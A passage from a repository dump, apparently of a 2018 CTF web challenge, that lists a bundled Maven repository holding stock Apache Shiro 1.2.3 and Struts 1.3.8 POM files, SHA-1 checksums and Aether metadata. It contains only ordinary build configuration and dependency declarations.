<groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-source-plugin</artifactId>\n                        <version>2.0.4</version>\n                        <executions>\n                            <execution>\n                                <id>attach-sources</id>\n                                <goals>\n                                    <goal>jar</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                        <inherited>true</inherited>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n        <profile>\n            <id>apache-release</id>\n            <distributionManagement>\n                <site>\n                    <id>shiro.website</id>\n                    <name>Apache Shiro Site</name>\n                    <url>scm:svn:https://svn.apache.org/repos/asf/shiro/site/publish/static/${project.version}</url>\n                </site>\n            </distributionManagement>\n        </profile>\n    </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-root/1.2.3/shiro-root-1.2.3.pom.sha1",
    "content": "2424f8a4dff81654d93d3f0803f56a60137db374"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-spring/1.2.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nshiro-spring-1.2.3.jar>central=\nshiro-spring-1.2.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-spring/1.2.3/shiro-spring-1.2.3.jar.sha1",
    "content": "1e1cce0a92ce3612967de861a2a94e01e47faa73"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-spring/1.2.3/shiro-spring-1.2.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Licensed to the Apache Software Foundation (ASF) under one\n  ~ or more contributor license agreements.  See the NOTICE file\n  ~ distributed with this work for additional information\n  ~ regarding copyright ownership.  The ASF licenses this file\n  ~ to you under the Apache License, Version 2.0 (the\n  ~ \"License\"); you may not use this file except in compliance\n  ~ with the License.  You may obtain a copy of the License at\n  ~\n  ~     http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing,\n  ~ software distributed under the License is distributed on an\n  ~ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  ~ KIND, either express or implied.  See the License for the\n  ~ specific language governing permissions and limitations\n  ~ under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n    <parent>\n        <groupId>org.apache.shiro</groupId>\n        <artifactId>shiro-root</artifactId>\n        <version>1.2.3</version>\n        <relativePath>../../pom.xml</relativePath>\n    </parent>\n\n    <modelVersion>4.0.0</modelVersion>\n    <artifactId>shiro-spring</artifactId>\n    <name>Apache Shiro :: Support :: Spring</name>\n    <packaging>bundle</packaging>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-core</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>servlet-api</artifactId>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-context</artifactId>\n            <scope>provided</scope>\n        </dependency>\n        <!-- Test dependencies -->\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>jcl-over-slf4j</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-log4j12</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>log4j</groupId>\n            <artifactId>log4j</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-aspectj</artifactId>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.felix</groupId>\n                <artifactId>maven-bundle-plugin</artifactId>\n                <extensions>true</extensions>\n                <configuration>\n                    <instructions>\n                        <Bundle-SymbolicName>org.apache.shiro.spring</Bundle-SymbolicName>\n                        <Export-Package>org.apache.shiro.spring*;version=${project.version}</Export-Package>\n                        <Import-Package>\n                            org.apache.shiro*;version=\"${shiro.osgi.importRange}\",\n                            org.aopalliance*;version=\"[1.0.0, 2.0.0)\",\n                            org.springframework*;version=\"[2.5.0, 4.0.0)\",\n                            *\n                        </Import-Package>\n                    </instructions>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-spring/1.2.3/shiro-spring-1.2.3.pom.sha1",
    "content": "b0f4ce7e7d2c22aeced10230d9c14ad9e0447840"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-web/1.2.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nshiro-web-1.2.3.jar>central=\nshiro-web-1.2.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-web/1.2.3/shiro-web-1.2.3.jar.sha1",
    "content": "4dbcac122a883c29d32fe94f6b1525e5a81884ec"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-web/1.2.3/shiro-web-1.2.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Licensed to the Apache Software Foundation (ASF) under one\n  ~ or more contributor license agreements.  See the NOTICE file\n  ~ distributed with this work for additional information\n  ~ regarding copyright ownership.  The ASF licenses this file\n  ~ to you under the Apache License, Version 2.0 (the\n  ~ \"License\"); you may not use this file except in compliance\n  ~ with the License.  You may obtain a copy of the License at\n  ~\n  ~     http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing,\n  ~ software distributed under the License is distributed on an\n  ~ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  ~ KIND, either express or implied.  See the License for the\n  ~ specific language governing permissions and limitations\n  ~ under the License.\n  -->\n<!--suppress osmorcNonOsgiMavenDependency -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n    <parent>\n        <groupId>org.apache.shiro</groupId>\n        <artifactId>shiro-root</artifactId>\n        <version>1.2.3</version>\n        <relativePath>../pom.xml</relativePath>\n    </parent>\n\n    <modelVersion>4.0.0</modelVersion>\n    <artifactId>shiro-web</artifactId>\n    <name>Apache Shiro :: Web</name>\n    <packaging>bundle</packaging>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-core</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet.jsp</groupId>\n            <artifactId>jsp-api</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>jstl</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>servlet-api</artifactId>\n        </dependency>\n        <!-- Test dependencies - scope set appropriately already in the parent pom-->\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-core</artifactId>\n            <type>test-jar</type>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>jcl-over-slf4j</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-log4j12</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>log4j</groupId>\n            <artifactId>log4j</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.felix</groupId>\n                <artifactId>maven-bundle-plugin</artifactId>\n                <extensions>true</extensions>\n                <configuration>\n                    <instructions>\n                        <Bundle-SymbolicName>org.apache.shiro.web</Bundle-SymbolicName>\n                        <Export-Package>org.apache.shiro.web*;version=${project.version}</Export-Package>\n                        <!-- javax.servlet.jsp* marked as optional per SHIRO-390: -->\n                        <Import-Package>\n                            org.apache.shiro*;version=\"${shiro.osgi.importRange}\",\n                            javax.servlet.jsp*;resolution:=optional,\n                            *\n                        </Import-Package>\n                    </instructions>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-web/1.2.3/shiro-web-1.2.3.pom.sha1",
    "content": "936770addfa26a24b5f4572511574ebbe3d27a16"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-core/1.3.8/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\nstruts-core-1.3.8.jar>central=\nstruts-core-1.3.8.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-core/1.3.8/struts-core-1.3.8.jar.sha1",
    "content": "66178d4a9279ebb1cd1eb79c10dc204b4199f061"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-core/1.3.8/struts-core-1.3.8.pom",
    "content": "<?xml version=\"1.0\"?><project>\n  <parent>\n    <artifactId>struts-parent</artifactId>\n    <groupId>org.apache.struts</groupId>\n    <version>1.3.8</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.struts</groupId>\n  <artifactId>struts-core</artifactId>\n  <name>Struts Core</name>\n  <version>1.3.8</version>\n  <url>http://struts.apache.org</url>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/struts/struts1/trunk/core/</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/struts/struts1/trunk/core</developerConnection>\n    <url>http://svn.apache.org/repos/asf/struts/struts1/trunk/core</url>\n  </scm>\n  <build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <resource>\n        <directory>src/main/java</directory>\n        <includes>\n          <include>**/*.properties</include>\n        </includes>\n      </resource>\n    </resources>\n    <testResources>\n      <testResource>\n        <directory>src/test/java</directory>\n        <includes>\n          <include>**/*.xml</include>\n          <include>**/*.properties</include>\n        </includes>\n      </testResource>\n    </testResources>\n  </build>\n  <profiles>\n    <profile>\n      <id>pre-assembly</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadoc</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-source</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  <dependencies>\n    <dependency>\n      <groupId>antlr</groupId>\n      <artifactId>antlr</artifactId>\n      <version>2.7.2</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-beanutils</groupId>\n      <artifactId>commons-beanutils</artifactId>\n      <version>1.7.0</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-chain</groupId>\n      <artifactId>commons-chain</artifactId>\n      <version>1.1</version>\n      <exclusions>\n        <exclusion>\n          <artifactId>myfaces-api</artifactId>\n          <groupId>myfaces</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>portlet-api</artifactId>\n          <groupId>javax.portlet</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>commons-digester</groupId>\n      <artifactId>commons-digester</artifactId>\n      <version>1.8</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-fileupload</groupId>\n      <artifactId>commons-fileupload</artifactId>\n      <version>1.1.1</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>1.0.4</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-validator</groupId>\n      <artifactId>commons-validator</artifactId>\n      <version>1.3.1</version>\n      <exclusions>\n        <exclusion>\n          <artifactId>xml-apis</artifactId>\n          <groupId>xml-apis</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>2.3</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>oro</groupId>\n      <artifactId>oro</artifactId>\n      <version>2.0.8</version>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <site>\n      <id>apache-site</id>\n      <url>scp://people.apache.org/www/struts.apache.org/1.x/struts-core</url>\n    </site>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-core/1.3.8/struts-core-1.3.8.pom.sha1",
    "content": "ce1c07f0ecddb23c50c2f0a12c0b12d8cf1eb6d5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-master/4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:39 CST 2018\nstruts-master-4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-master/4/struts-master-4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\n    Licensed to the Apache Software Foundation (ASF) under one or more\n    contributor license agreements.  See the NOTICE file distributed with\n    this work for additional information regarding copyright ownership.\n    The ASF licenses this file to You under the Apache License, Version 2.0\n    (the \"License\"); you may not use this file except in compliance with\n    the License.  You may obtain a copy of the License at\n   \n         http://www.apache.org/licenses/LICENSE-2.0\n   \n    Unless required by applicable law or agreed to in writing, software\n    distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n    See the License for the specific language governing permissions and\n    limitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n      xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n   <modelVersion>4.0.0</modelVersion>\n   <parent>\n      <groupId>org.apache</groupId>\n      <artifactId>apache</artifactId>\n      <version>2</version>\n   </parent>\n   <groupId>org.apache.struts</groupId>\n   <artifactId>struts-master</artifactId>\n   <version>4</version>\n   <packaging>pom</packaging>\n   <name>Apache Struts</name>\n\n   <scm>\n     <connection>scm:svn:http://svn.apache.org/repos/asf/struts/maven/trunk/pom</connection>\n     <developerConnection>scm:svn:http://svn.apache.org/repos/asf/struts/maven/trunk/pom</developerConnection>\n     <url>http://svn.apache.org/repos/asf/struts/maven/trunk/pom</url>\n   </scm>\n   \n   <description>\n    The goal of the Apache Struts project is to encourage application \n    architectures based on the \"Model 2\" approach, a variation of the classic \n    Model-View-Controller (MVC) design paradigm. Under Model 2, a servlet (or \n    equivalent) manages business logic execution, and presentation logic \n    resides mainly in server pages.\n   </description>\n   <url>http://struts.apache.org/</url>\n   <inceptionYear>2000</inceptionYear>\n\n   <mailingLists>\n      <mailingList>\n         <name>Struts User List</name>\n         <subscribe>user-subscribe@struts.apache.org</subscribe>\n         <unsubscribe>user-unsubscribe@struts.apache.org</unsubscribe>\n         <post>user@struts.apache.org</post>\n         <archive>http://mail-archives.apache.org/mod_mbox/struts-user/</archive>\n         <otherArchives>\n            <otherArchive>http://struts.apache.org/mail.html#Archives</otherArchive>\n         </otherArchives>\n      </mailingList>\n      <mailingList>\n         <name>Struts Developer List</name>\n         <subscribe>dev-subscribe@struts.apache.org</subscribe>\n         <unsubscribe>dev-unsubscribe@struts.apache.org</unsubscribe>\n         <post>dev@struts.apache.org</post>\n         <archive>http://mail-archives.apache.org/mod_mbox/struts-dev/</archive>\n         <otherArchives>\n            <otherArchive>http://struts.apache.org/mail.html#Archives</otherArchive>\n         </otherArchives>\n      </mailingList>\n      <mailingList>\n         <name>Struts Commits List</name>\n         <subscribe>commits-subscribe@struts.apache.org</subscribe>\n         <unsubscribe>commits-unsubscribe@struts.apache.org</unsubscribe>\n         <archive>http://mail-archives.apache.org/mod_mbox/struts-commits/</archive>\n         <otherArchives>\n            <otherArchive>http://struts.apache.org/mail.html#Archives</otherArchive>\n         </otherArchives>\n      </mailingList>\n      <mailingList>\n         <name>Struts Issues List</name>\n         <subscribe>issues-subscribe@struts.apache.org</subscribe>\n         <unsubscribe>issues-unsubscribe@struts.apache.org</unsubscribe>\n         <archive>http://mail-archives.apache.org/mod_mbox/struts-issues/</archive>\n         <otherArchives>\n            <otherArchive>http://struts.apache.org/mail.html#Archives</otherArchive>\n         </otherArchives>\n      </mailingList>\n   </mailingLists>\n\n   <developers>\n      <developer>\n         <name>Craig R. McClanahan</name>\n         <id>craigmcc</id>\n         <email>craigmcc at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Ted Husted</name>\n         <id>husted</id>\n         <email>husted at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Cedric Dumoulin</name>\n         <id>cedric</id>\n         <email>cedric.dumoulin at lifl.fr</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Martin Cooper</name>\n         <id>martinc</id>\n         <email>martinc at apache.org</email>\n         <roles>\n            <role>PMC Chair</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>James Holmes</name>\n         <id>jholmes</id>\n         <email>jholmes at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>David M. Karr</name>\n         <id>dmkarr</id>\n         <email>dmkarr at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Eddie Bush</name>\n         <id>ekbush</id>\n         <email>ekbush at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>David Graham</name>\n         <id>dgraham</id>\n         <email>dgraham at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>James Mitchell</name>\n         <id>jmitchell</id>\n         <email>jmitchell at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Don Brown</name>\n         <id>mrdon</id>\n         <email>mrdon at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Joe Germuska</name>\n         <id>germuska</id>\n         <email>germuska at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Niall Pemberton</name>\n         <id>niallp</id>\n         <email>niallp at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Hubert Rabago</name>\n         <id>hrabago</id>\n         <email>hrabago at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>David Geary</name>\n         <id>dgeary</id>\n         <email>dgeary at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Wendy Smoak</name>\n         <id>wsmoak</id>\n         <email>wsmoak at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Gary VanMatre</name>\n         <id>gvanmatre</id>\n         <email>gvanmatre at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Sean Schofield</name>\n         <id>schof</id>\n         <email>schof at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Greg Reddin</name>\n         <id>greddin</id>\n         <email>greddin at apache.org</email>\n         <roles>\n            <role>PMC Member</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Laurie Harper</name>\n         <id>laurieh</id>\n         <email>laurieh at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Richard Feit</name>\n         <id>rich</id>\n         <email>rich at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Jason Carreira</name>\n         <id>jcarreira</id>\n         <email>jcarreira at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Patrick Lightbody</name>\n         <id>plightbo</id>\n         <email>plightbo at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Alexandru Popescu</name>\n         <id>apopescu</id>\n         <email>apopescu at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Rene Gielen</name>\n         <id>rgielen</id>\n         <email>rgielen at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Rainer Hermanns</name>\n         <id>hermanns</id>\n         <email>hermanns at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Toby Jee</name>\n         <id>tmjee</id>\n         <email>tmjee at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Ian Roughley</name>\n         <id>roughley</id>\n         <email>roughley at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Paul Benedict</name>\n         <id></id>\n         <email></email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Michael Jouravlev</name>\n         <id>mikus</id>\n         <email>mikus at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>Bob Lee</name>\n         <id>crazybob</id>\n         <email>crazybob at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n      <developer>\n         <name>David H. DeWolf</name>\n         <id>ddewolf</id>\n         <email>ddewolf at apache.org</email>\n         <roles>\n            <role>Committer</role>\n         </roles>\n      </developer>\n\n   </developers>\n   <distributionManagement>\n      <repository>\n         <id>struts-staging</id>\n         <name>Apache Struts Staging Repository</name>\n         <url>scp://people.apache.org/www/people.apache.org/builds/struts/m2-staging-repository</url>\n      </repository>\n      <snapshotRepository>\n         <uniqueVersion>true</uniqueVersion>\n         <id>apache.snapshots</id>\n         <name>Apache Development Snapshot Repository</name>\n         <url>scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n      </snapshotRepository>\n      <site>\n         <id>apache-site</id>\n         <name>Apache Struts Website</name>\n         <url>scp://people.apache.org/www/struts.apache.org</url>\n      </site>\n   </distributionManagement>\n</project>\n\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-master/4/struts-master-4.pom.sha1",
    "content": "1c8da55c806d8fbf788c512e25109c0a000dc19c  ./org/apache/struts/struts-master/4/struts-master-4.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-parent/1.3.8/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:38 CST 2018\nstruts-parent-1.3.8.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-parent/1.3.8/struts-parent-1.3.8.pom",
    "content": "<?xml version=\"1.0\"?>\n<!--\n    Licensed to the Apache Software Foundation (ASF) under one or more\n    contributor license agreements.  See the NOTICE file distributed with\n    this work for additional information regarding copyright ownership.\n    The ASF licenses this file to You under the Apache License, Version 2.0\n    (the \"License\"); you may not use this file except in compliance with\n    the License.  You may obtain a copy of the License at\n   \n         http://www.apache.org/licenses/LICENSE-2.0\n   \n    Unless required by applicable law or agreed to in writing, software\n    distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n    See the License for the specific language governing permissions and\n    limitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n   <parent>\n      <groupId>org.apache.struts</groupId>\n      <artifactId>struts-master</artifactId>\n      <version>4</version>\n   </parent>\n\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>org.apache.struts</groupId>\n    <artifactId>struts-parent</artifactId>\n    <version>1.3.8</version>\n    <packaging>pom</packaging>\n    <name>Struts</name>\n    <url>http://struts.apache.org/</url>\n    <description>Apache Struts</description>\n\n    <inceptionYear>2000</inceptionYear>\n\n    <scm>\n       <connection>scm:svn:http://svn.apache.org/repos/asf/struts/struts1/trunk</connection>\n       <developerConnection>scm:svn:https://svn.apache.org/repos/asf/struts/struts1/trunk</developerConnection>\n       <url>http://svn.apache.org/viewcvs.cgi/struts/struts1/trunk</url>\n    </scm>\n\n    <issueManagement>\n        <system>JIRA</system>\n        <url>http://issues.apache.org/struts/</url>\n    </issueManagement>\n\n    <ciManagement/>\n\n    <distributionManagement>\n        <site>\n            <id>apache-site</id>\n            <url>scp://people.apache.org/www/struts.apache.org/1.x/</url>\n        </site>\n    </distributionManagement>\n\n    <profiles>\n        <profile>\n            <id>apps</id>\n            <activation>\n                <property>\n                    <name>apps</name>\n                </property>\n            </activation>\n            <modules>\n                <module>apps</module>\n            </modules>\n        </profile>\n        <profile>\n            <id>itest</id>\n            <activation>\n                <property>\n                    <name>itest</name>\n                </property>\n            </activation>\n            <modules>\n                <module>integration</module>\n            </modules>\n        </profile>\n        <profile>\n            <id>assembly</id>\n            <activation>\n                <property>\n                    <name>assembly</name>\n                </property>\n            </activation>\n            <modules>\n                <module>assembly</module>\n            </modules>\n        </profile>\n        <profile>\n            <id>release</id>\n            <activation>\n                <property>\n                    <name>release</name>\n                </property>\n            </activation>\n            <build>\n                <plugins>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-gpg-plugin</artifactId>\n                        <executions>\n                            <execution>\n                                <id>sign-artifacts</id>\n                                <phase>verify</phase>\n                                <goals>\n                                    <goal>sign</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n    </profiles>\n\n    <modules>\n        <module>core</module>\n        <module>el</module>\n        <module>extras</module>\n        <module>faces</module>\n        <module>mailreader-dao</module>\n        <module>scripting</module>\n        <module>taglib</module>\n        <module>tiles</module>\n    </modules>\n\n    <licenses>\n        <license>\n            <name>The Apache Software License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n            <comments/>\n        </license>\n    </licenses>\n\n    <organization>\n        <name>Apache Software Foundation</name>\n        <url>http://www.apache.org/</url>\n    </organization>\n\n    <build>\n        <pluginManagement>\n            <plugins>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-compiler-plugin</artifactId>\n                    <configuration>\n                        <source>1.4</source>\n                        <target>1.4</target>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-site-plugin</artifactId>\n                    <version>2.0-beta-4</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-source-plugin</artifactId>\n                    <version>2.0.1</version>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-jar-plugin</artifactId>\n                    <version>2.1</version>\n                    <configuration>\n                        <archive>\n                            <manifest>\n                                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                            </manifest>\n                        </archive>\n                    </configuration>\n                </plugin>\n                <plugin>\n\t                  <groupId>net.sf.dtddoc</groupId>\n\t                  <artifactId>dtddoc-maven-plugin</artifactId>\n                    <version>1.0.0</version>\n\t              </plugin>\n                <plugin>\n                    <groupId>net.sourceforge.maven-taglib</groupId>\n                    <artifactId>maven-taglib-plugin</artifactId>\n                    <version>2.3</version>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n        <plugins>\n            <plugin>\n               <artifactId>maven-antrun-plugin</artifactId>\n               <inherited>false</inherited>\n               <version>1.1</version>\n               <executions>\n                  <execution>\n                     <id>copy-dtds</id>\n                     <phase>site</phase>\n                     <configuration>\n                        <tasks>\n                           <copy todir=\"${project.build.directory}/site/dtds\"\n                                 failonerror=\"false\">\n                              <fileset dir=\"${basedir}/core/src/main/resources/org/apache/struts/resources\"/>\n                              <fileset dir=\"${basedir}/tiles/src/main/resources/org/apache/struts/resources\"/>\n                           </copy>\n                        </tasks>\n                     </configuration>\n                     <goals>\n                        